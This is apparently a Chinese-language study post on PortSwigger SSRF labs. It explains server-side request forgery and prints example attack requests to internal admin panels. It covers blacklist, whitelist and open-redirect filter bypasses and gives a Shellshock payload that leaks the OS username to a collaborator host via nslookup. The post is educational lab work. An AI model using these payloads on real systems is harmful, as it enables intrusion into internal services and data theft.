SSRF初探

合集 - burpsuite靶场学习(12)

1.API初探2024-12-112.XSS初探及实验2024-11-073.业务漏洞初探2024-11-064.命令注入初探2024-11-295.条件竞争初探2024-11-06

6.SSRF初探2024-11-06

7.服务器端漏洞基础2024-11-068.访问控制与权限提升初探2024-11-069.XXE初探2024-11-0610.nosql注入初探2024-11-0611.SQL注入备忘录2024-11-0612.SQL注入初探2024-11-06

收起

什么是 SSRF？

服务器端请求伪造是一种 Web 安全漏洞，允许攻击者使服务器端应用程序向意外位置发出请求。

在典型的 SSRF 攻击中，攻击者可能会使服务器连接到组织基础结构中的仅限内部的服务。在其他情况下，它们可能能够强制服务器连接到任意外部系统。这可能会泄露敏感数据，例如授权凭据。

SSRF 攻击的影响是什么？

成功的 SSRF 攻击通常会导致未经授权的操作或访问组织内的数据。这可以位于易受攻击的应用程序中，也可以位于应用程序可以与之通信的其他后端系统上。在某些情况下，SSRF 漏洞可能允许攻击者执行任意命令。

导致连接到外部第三方系统的 SSRF 漏洞可能会导致恶意攻击。这些似乎来自托管易受攻击应用程序的组织。

常见的 SSRF 攻击

SSRF 攻击通常利用信任关系从易受攻击的应用程序升级攻击并执行未经授权的操作。这些信任关系可能与服务器有关，也可能与同一组织内的其他后端系统有关。

针对服务器的 SSRF 攻击

在针对服务器的 SSRF 攻击中，攻击者使应用程序通过其环回网络接口向托管应用程序的服务器发出 HTTP 请求。这通常涉及提供具有主机名的 URL，例如（指向环回适配器的保留 IP 地址）或（同一适配器的常用名称）。127.0.0.1``localhost

例如，假设一个购物应用程序允许用户查看特定商店中是否有商品库存。若要提供股票信息，应用程序必须查询各种后端 REST API。它通过前端 HTTP 请求将 URL 传递到相关的后端 API 终结点来实现此目的。当用户查看物料的库存状态时，其浏览器会发出以下请求：

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这会导致服务器向指定的 URL 发出请求，检索库存状态，并将其返回给用户。

在此示例中，攻击者可以修改请求以指定服务器本地的 URL：

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin

服务器获取 URL 的内容并将其返回给用户。/admin

攻击者可以访问该 URL，但管理功能通常只有经过身份验证的用户才能访问。这意味着攻击者不会看到任何感兴趣的内容。但是，如果对 URL 的请求来自本地计算机，则会绕过正常的访问控制。应用程序授予对管理功能的完全访问权限，因为请求似乎来自受信任的位置。/admin /admin

实验室1：针对本地服务器的基本 SSRF

首先抓取数据包，看页面中是否有类似于api等执行某一个地址的数据

假设已知后台登录的地址是/admin，如果修改地址的指向，把这个地址直接指向/admin后台地址，是否可绕过登录。通常我们在登录的时候，都是以外部机器访问，需要进行登录，如果服务器设置的内部访问后台不需登录的话，通过修改地址的方式，让服务器认为是服务器本身的操作。修改成127.0.0.1/admin

因为本来调用地址查询后的结果是返回到该页面下的，所以，这个/admin的请求，也在该页面中，注意的是，尽管已经访问到了后台登录，但是如果直接进行操作，会发现明显不行，因为直接操作，这里本身没有SSRF漏洞，也就是没有所谓的通过调用服务器本身的方式，所以在后台进行的操作，可以把对应的请求重新构造成一个链接，然后放在上面的出现的SSRF漏洞处。

如此，直接通过这个方式进行了后台操作，主要就是服务器自身访问资源的时候，没有加以限制，或者调用这种地址的时候，没有验证，导致可直接访问敏感资源。

• 访问控制检查可以在位于应用程序服务器前面的其他组件中实现。当与服务器建立连接时，将绕过检查。
• 出于灾难恢复目的，应用程序可能允许对来自本地计算机的任何用户进行管理访问，而无需登录。这为管理员提供了一种在丢失凭据时恢复系统的方法。这假定只有完全受信任的用户才会直接来自服务器。
• 管理接口可能会侦听主应用程序的不同端口号，并且用户可能无法直接访问。

这种信任关系，其中来自本地计算机的请求的处理方式与普通请求不同，通常会使 SSRF 成为严重漏洞。

针对其他后端系统的 SSRF 攻击

在某些情况下，应用程序服务器能够与用户无法直接访问的后端系统进行交互。这些系统通常具有不可路由的专用 IP 地址。后端系统通常受网络拓扑保护，因此它们通常具有较弱的安全态势。在许多情况下，内部后端系统包含敏感功能，任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。

在前面的示例中，假设后端 URL 上有一个管理界面。攻击者可以提交以下请求来利用 SSRF 漏洞，并访问管理界面： https://192.168.0.68/admin

POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin

实验室2：针对另一个后端系统的基本 SSRF

和之前一样，每一步抓取数据包，查看是否有指向其他地址的数据。发现有，但是地址像是内网 的主机地址，尝试修改为后台登录地址，进行测试，发现修改成本地的环回地址是不行的，可能路径错误，也可能后台的服务地址，不在服务器本身上，在别的服务器或者主机上。

假设是路径不对的话，这里可以通过intruder模块，对路径进行爆破，看能否发现；假设是地址不对，路径正确的话，就需要对该网段中的IP和端口号进行爆破了。

因为这里给出提示，是地址的问题，并且网段指出在192.168.0.x:8080，所以对地址进行爆破。

当然实际操作中，这些都没有提示，需要每一步爆破，网段爆破，端口爆破，路径爆破

知道了后台的地址，就可以利用这个SSRF漏洞执行后台的一些操作

规避常见的 SSRF 防御

通常可以看到包含 SSRF 行为的应用程序以及旨在防止恶意利用的防御措施。通常，这些防御措施是可以规避的。

具有基于黑名单的输入过滤器的 SSRF

某些应用程序会阻止包含主机名（127.0.0.1和 localhost）或敏感 URL（如 /admin.在这种情况下，您通常可以使用以下技术绕过过滤器：

• 使用127.0.0.1的替代 IP 表示形式，例如 2130706433（IP地址转int十进制数字）、017700000001（八进制） 或 127.1（缩写）。还有短网址的转换等。
• 注册您自己的域名spoofed.burpcollaborator.net，该域名解析为127.0.0.1。您可以用于此目的。
• 使用 URL 编码或大小写变体对被阻止的字符串进行模糊处理。
• 提供您控制的 URL，该 URL 将重定向到目标 URL。尝试使用不同的重定向代码，以及针对目标 URL 的不同协议。例如，在重定向期间从 URL 切换到 URL 已被证明可以绕过一些反 SSRF 过滤器。http:``https:

实验室3：具有基于黑名单的输入滤波器的 SSRF

首先，抓取每一步的数据包，并查看是否有调用其他地址的数据，发现含有，首先对其尝试上面的地址，/admin，以服务器访问自身127.0.0.1

修改的地方，有两个，就是把后面原本查询产品的id等值，直接删除改成了/admin，以及地址改成环回地址127.0.0.1，那是否是对admin以及127.0.0.1进行了检测，假设检测了，尝试对关键字编码等操作，看能否绕过。

首先对地址127.0.0.1进行进制替换，看能否绕过。但是这里把ip地址转换成十进制或者八进制或者缩写都是报错，所以猜测是否对admin也进行了检测。对admin进行编码等测试。

经测试，地址127.0.0.1的进制转换是能被检测到的，缩写是ok的，且对admin若只进行一次URL编码的话，是能够识别出的，所以这里对admin进行URL双重编码，也就是进行两次。

这样已经访问到后台，就可以在后台进行操作，不过需注意，还是要利用这里的漏洞执行后台操作才行，因为直接执行是不可以的，是通过自己的PC去访问操作的，而不是利用服务器访问的方式。后面与前面一样。

具有基于白名单的输入过滤器的 SSRF

某些应用程序只允许匹配的输入，即允许值的白名单。筛选器可能会在输入的开头查找匹配项，或包含在输入中。您可以通过利用 URL 分析中的不一致来绕过此筛选器。

URL 规范包含许多功能，当 URL 使用此方法实现临时分析和验证时，这些功能可能会被忽略：

• 您可以使用@字符将凭据嵌入到主机名之前的 URL 中。例如：

  https://expected-host:fakepassword@evil-host
  

• 您可以使用#字符来指示 URL 片段。例如：

  https://evil-host#expected-host
  

• 您可以利用 DNS 命名层次结构将所需的输入放入您控制的完全限定的 DNS 名称中。例如：

  https://expected-host.evil-host
  

• 您可以对字符进行 URL 编码以混淆 URL 解析代码。如果实现筛选器的代码处理 URL 编码字符的方式与执行后端 HTTP 请求的代码不同，则此方法特别有用。您也可以尝试双重编码字符;某些服务器会递归地对接收到的输入进行 URL 解码，这可能会导致进一步的差异。

• 您可以同时使用这些技术的组合。

实验室4：具有基于白名单的输入滤波器的 SSRF

首先抓取每一步的数据包进行分析，看有无指向其他地址的数据，发现有一个，直接把地址改为回环地址，并且请求后台/admin，发现提示错误

那么就使用@符号，来使得特定的域名在，但是指向的是回环地址，构造user@stock.weliketoshop.net，发现服务器500，说明服务器接收后出现的结果

尝试使用#和@构造user#@stock.weliketoshop.net，发现拒绝，对#进行双重URL编码，发现服务器接收了。

那么测试是可以的，直接把user换成127.0.0.1，发现可以，后面加上后台地址admin，构造

127.0.0.1%2523@stock.weliketoshop.net/admin，具体为什么这样可以，主要是HTTP中的URL，这个要上网搜索，使用AI搜索即可

后面的进行后台操作即可，当然也是要利用在这里的SSRF漏洞才行

通过开放重定向绕过 SSRF 过滤器

有时可以通过利用开放重定向漏洞来绕过基于过滤器的防御。

在前面的示例中，假设用户提交的 URL 经过严格验证，以防止恶意利用 SSRF 行为。但是，允许其 URL 的应用程序包含开放重定向漏洞。如果用于发出后端 HTTP 请求的 API 支持重定向，则可以构造满足筛选器的 URL，并生成将请求重定向到所需后端目标的 URL。

例如，应用程序包含一个打开的重定向漏洞，其中以下 URL：

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到：

http://evil-user.net

您可以利用开放重定向漏洞绕过 URL 筛选器，并利用 SSRF 漏洞，如下所示：

POST /product/stock HTTP/1.0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 118 

stockApi=http://weliketoshop.net/product/nextProduct？currentProductId=6&path=http://192.168.0.68/admin

此 SSRF 漏洞之所以有效，是因为应用程序首先验证提供的 URL 是否位于允许的域上，而该域确实位于允许的域中。然后，应用程序请求提供的 URL，这将触发打开重定向。它遵循重定向，并向攻击者选择的内部 URL 发出请求。stockAPI

实验室5：通过开放重定向漏洞绕过过滤器的 SSRF

库存检查器被限制为只能访问本地应用程序，因此您需要首先找到影响应用程序的开放重定向。

要解决实验室问题，请更改库存检查 URL 以访问管理界面并删除用户。http://192.168.0.12:8080/admin``carlos

找到上面实验室的地方，发现这里变成了路径，不再有地址的指向，说明调用的时候，是直接走的目录。

先找到影响应用程序的开放重定向，这里抓取数据包，一步步的看分析，发现在产品中，点击下一个的时候，会产生一个请求，请求中的一个参数指定了路径，那么这里就说明可能存在重定向的时候，指向某个地址后台，并且这个地址通过服务器访问会有不一样的效果.

抓取到stockapi的数据包，修改成http://127.0.0.1/admin不行，编码或转变后也不行，可能这里的指向就有问题，继续抓取数据包。

在点击到下一个产品的选项时，发现请求中有一个参数path，这个经测试，当放包后，访问的地址就是产品号为2的界面，猜测这里可能含有SSRF，因为可跳转，就代表，添加地址的话，可能会跳转。

尝试修改为一个可访问的地址吧，这样响应快，如百度，放包后直接跳转了。存在

但是这个地方的跳转，好像不是从内网调用，而是直接从互联网跳转，所以，这里测试，改为192.168.0.12:8080/admin时，发现浏览器直接访问这个地址，导致报错，说明不是服务器从这里跳转，不访问内网，那么这时怎么办呢，这里需要注意，我们之前抓取数据包的时候，在stockapi那里的数据，它指向的是/product/xxxx某一个，并且，也有参数，也就是和这里跳转的目录是同一级，那么stockapi是否可以访问/product/nextproduct?path呢。测试

这里发现可以，并且SSRF漏洞还是在这里，不过就是这个目录需要自己去寻找。后面与前面一样，执行后台操作即可

什么是盲SSRF？

当可以诱导应用程序向提供的 URL 发出后端 HTTP 请求，但应用程序的前端响应中未返回来自后端请求的响应时，就会出现盲 SSRF 漏洞。

盲目 SSRF 漏洞有何影响？

由于 SSRF 漏洞的单向性质，盲目 SSRF 漏洞的影响通常低于完全知情的 SSRF 漏洞。它们不能被轻易地利用来从后端系统检索敏感数据，尽管在某些情况下可以利用它们来实现完整的远程代码执行。

如何查找和利用盲目的 SSRF 漏洞

检测盲 SSRF 漏洞的最可靠方法是使用带外 （OAST） 技术。这涉及尝试触发对您控制的外部系统的 HTTP 请求，并监视与该系统的网络交互。

使用带外技术的最简单、最有效的方法是使用 Burp Collaborator。您可以使用 Burp Collaborator 生成唯一的域名，将这些域名以有效负载的形式发送到应用程序，并监控与这些域的任何交互。如果观察到来自应用程序的传入 HTTP 请求，则它容易受到 SSRF 的攻击。

注意

在测试 SSRF 漏洞时，通常会观察对提供的协作者域的 DNS 查找，但没有后续的 HTTP 请求。这通常是因为应用程序尝试向域发出 HTTP 请求，这导致了初始 DNS 查找，但实际的 HTTP 请求被网络级筛选阻止。基础设施允许出站 DNS 流量是相对常见的，因为出于多种目的需要这样做，但会阻止与意外目标的 HTTP 连接。

实验室6：带外检测的盲 SSRF

本网站使用分析软件，该软件在加载产品页面时获取 Referer 标头中指定的 URL。

若要解决实验室问题，请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求。

这个页面比较简单，抓取数据包进行分析，并且通过题目说明，是通过referer头来指定URL的。那么测试一下呢，经测试，不管referer为什么，都可以请求得到页面，并且这里的数据包要为请求产品的数据包才行。

仅仅识别可触发带外 HTTP 请求的盲目 SSRF 漏洞本身并不能提供可利用性的途径。由于无法查看来自后端请求的响应，因此该行为不能用于浏览应用程序服务器可以访问的系统上的内容。但是，它仍然可以用于探测服务器本身或其他后端系统上的其他漏洞。您可以盲目地扫描内部 IP 地址空间，发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用盲带外技术，则可能会在未修补的内部服务器上发现严重漏洞。

实验室7：利用 Shellshock 的盲 SSRF

本网站使用分析软件，该软件在加载产品页面时获取 Referer 标头中指定的 URL。

若要解决实验室问题，请使用此功能对端口 8080 范围内的内部服务器执行盲目 SSRF 攻击。在盲目攻击中，对内部服务器使用 Shellshock 有效负载来泄露操作系统用户的名称。192.168.0.X

数据包的抓取和上面一样，都是主要的两个数据包，对数据包进行测试，这里提示了内部服务器的网段

首先，访问网址后，把网址设为目标，可以发现，burp已经检测到目标在referer和user-agnet处有带外注入，可以进行尝试了

这里有一个，我们先设定一个payload，这个payload用于user-agent处，直接粘贴，然后修改域名即可，该payload可以将whoami的信息带外出来

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

然后在referer处，因为只知道网段，所以在这里把网段和端口8080加上，然后进行爆破

先把payload都修改，然后发送到intruder模块

然后设置主机地址为爆破点

然后等待一会，发现collaborator会有回应的

查找 SSRF 漏洞的隐藏攻击面

许多服务器端请求伪造漏洞很容易被发现，因为应用程序的正常流量涉及包含完整 URL 的请求参数。SSRF 的其他示例更难找到。

请求中的部分 URL

有时，应用程序仅将主机名或部分 URL 路径放入请求参数中。然后，提交的值将合并到服务器端请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径，则潜在的攻击面可能很明显。但是，作为完整 SSRF 的可利用性可能会受到限制，因为你无法控制所请求的整个 URL。

数据格式中的 URL

某些应用程序以具有规范的格式传输数据，该规范允许包含数据分析器可能为该格式请求的 URL。一个明显的例子是 XML 数据格式，它已广泛用于 Web 应用程序中，用于将结构化数据从客户端传输到服务器。当应用程序接受 XML 格式的数据并对其进行分析时，它可能容易受到 XXE 注入的影响。它还可能容易受到 SSRF 的 XXE 攻击。当我们查看 XXE 注入漏洞时，我们将更详细地介绍这一点。

通过 Referer 标头的 SSRF

某些应用程序使用服务器端分析软件来跟踪访问者。该软件经常在请求中记录 Referer 标头，因此它可以跟踪传入链接。通常，分析软件会访问 Referer 标头中显示的任何第三方 URL。这通常用于分析引用站点的内容，包括传入链接中使用的锚文本。因此，Referer 标头通常是 SSRF 漏洞的有用攻击面。

有关涉及 Referer 标头的漏洞示例，请参阅 Blind SSRF 漏洞。

阅读更多

• 破解镜头：瞄准辅助系统